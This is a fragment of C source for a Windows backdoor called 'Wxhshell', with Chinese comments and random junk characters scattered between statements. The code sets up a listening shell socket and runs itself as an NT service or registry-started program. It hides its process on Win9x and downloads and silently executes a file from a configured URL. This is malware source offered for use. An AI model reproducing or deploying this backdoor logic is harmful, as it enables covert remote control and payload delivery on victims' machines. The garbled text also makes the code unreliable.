j "[:iXRu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U?.9D if(hProcess==NULL) return 0; ^fz+41lE\ L],f3< HMODULE hMod; NAPX_B,6 char procName[255]; :6q]F<oK unsigned long cbNeeded; .UoOO'1K ZIdA\_c if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fb da ;l$ \6T CloseHandle(hProcess); ITy/eZ"&: _e9:me5d"$ if(strstr(procName,"services")) return 1; // 以服务启动 ?JxbSK# "`[!L z return 0; // 注册表启动 (LHp%LaZ\; } e$Y[Z{T5 GA`PY-Vs) // 主模块 W[+|} int StartWxhshell(LPSTR lpCmdLine) V(Yxh+KU { %7g:}O$ SOCKET wsl; -l}IZY BOOL val=TRUE; [=%TnT+^9 int port=0; >&!RWH9*q struct sockaddr_in door; vy,&N^P $)H@|<K if(wscfg.ws_autoins) Install(); ,YhdY6 R/`q/0T. port=atoi(lpCmdLine); }KhjlPhx M# 18H<] if(port<=0) port=wscfg.ws_port; .@-$5Jw qaim6a WSADATA data; 21RP=0Q: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ej7 /X ~ Blq8H"3!: if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WL+]4Wiz setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L#)(H^[ door.sin_family = AF_INET; 8QK5z;E2~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); >M Jg , door.sin_port = htons(port); LW:o8ES33 [31p&FxM if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #yI.nzA* closesocket(wsl); PR|R`.QSs return 1; ,#W } 5<L_|d)0" |y20Hi': if(listen(wsl,2) == INVALID_SOCKET) { m5G \}8| closesocket(wsl); 2&Nb return 1; $BmmNn# } -*2Mf Mh Wxhshell(wsl); &_5tqh WSACleanup(); 1c+]gIe {YUIMd!Y return 0; [7m1Q< ny-7P;->8 } I]!^;)) d2s OYCKe // 以NT服务方式启动 g]UBZ33y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^TB>.c@ `* { *)]"27^ DWORD status = 0; fFjH "2WD DWORD specificError = 0xfffffff; Il.Ed-&62 /m _kn serviceStatus.dwServiceType = SERVICE_WIN32; V#ev-\k}@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; P'MY[&|mM' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }bU8G ' serviceStatus.dwWin32ExitCode = 0; *Ywpz^2?: serviceStatus.dwServiceSpecificExitCode = 0; 80M;4nH^5 serviceStatus.dwCheckPoint = 0; R_sC! - serviceStatus.dwWaitHint = 0; 2wqk,c[] 8vk..!7n} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,7,g%?_P if (hServiceStatusHandle==0) return; w<9>Q1( 5BR5X\f0 status = GetLastError(); juBw5U< if (status!=NO_ERROR) ;d$qc<2uA { VGL#!4wK serviceStatus.dwCurrentState = SERVICE_STOPPED; ~"Gf<3^y+ serviceStatus.dwCheckPoint = 0; d7Ur$K\=y serviceStatus.dwWaitHint = 0; FZiW|G serviceStatus.dwWin32ExitCode = status; A|}l)!% serviceStatus.dwServiceSpecificExitCode = specificError; '2zL.:~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); x( mE<UQN return; l:]Nn%U(> } ~8|t*@D :T3/yd62N serviceStatus.dwCurrentState = SERVICE_RUNNING; &4dz}zz90 serviceStatus.dwCheckPoint = 0; AGA`fRVx serviceStatus.dwWaitHint = 0; =OJ;0 /$6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aj,)P3DJu } 1p`+ SvvUkQ#1w // 处理NT服务事件,比如:启动、停止 TgU**JN) VOID WINAPI NTServiceHandler(DWORD fdwControl) 6B$q,"%S@ { uR6w|e` switch(fdwControl) t]1ubt2W { T2?HRx case SERVICE_CONTROL_STOP: f^e6<5gdf serviceStatus.dwWin32ExitCode = 0; ^5=UK7e5KY serviceStatus.dwCurrentState = SERVICE_STOPPED; sM1RU serviceStatus.dwCheckPoint = 0; EPW7+Ve serviceStatus.dwWaitHint = 0; *s}|Hy { o
A*G SetServiceStatus(hServiceStatusHandle, &serviceStatus); g=}v>[k E } Rd+P,PO return; +a=
0\lpOy case SERVICE_CONTROL_PAUSE: #n\C
| serviceStatus.dwCurrentState = SERVICE_PAUSED; y'ja< 1I> break; x}$e}8|8YL case SERVICE_CONTROL_CONTINUE: *p ? e.%nd serviceStatus.dwCurrentState = SERVICE_RUNNING; $3=:E36K break; H]<]^Zmjy case SERVICE_CONTROL_INTERROGATE: (UNtRz'=; break; gJ2
H=#M };
(kTXP_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 64Gi8|P } PU9`<3z5 <I;*[;AK // 标准应用程序主函数 U3vEdw<lV int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YEjY8]t { 5=?i;P AV&yoag1 // 获取操作系统版本 0@1:M
OsIsNt=GetOsVer(); ZA#y)z8!E GetModuleFileName(NULL,ExeFile,MAX_PATH); 5TBI<K :&'{mJW*{t // 从命令行安装 u"$a>S_ if(strpbrk(lpCmdLine,"iI")) Install(); Mu_i$j$vvP T#:F]= // 下载执行文件 vd#,DU=p! if(wscfg.ws_downexe) { 2>S~I"o0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?3sT"r_d@ WinExec(wscfg.ws_filenam,SW_HIDE); MWuXI1 } d_}a`H HW=xvA+ if(!OsIsNt) { "C%!8`K{a* // 如果时win9x,隐藏进程并且设置为注册表启动 cTZ)"^z! HideProc(); b'>8ZIY StartWxhshell(lpCmdLine); ;i#LIHJ } %IpSK 0<Sp else <2 if(StartFromService()) ?BCy J // 以服务方式启动 MBk"KF StartServiceCtrlDispatcher(DispatchTable); ;'RFo?u K else }F`beoMAkM // 普通方式启动 <l\N|+7R StartWxhshell(lpCmdLine); `!\ivIi^ P`s(kIe return 0; !>;w!^U }
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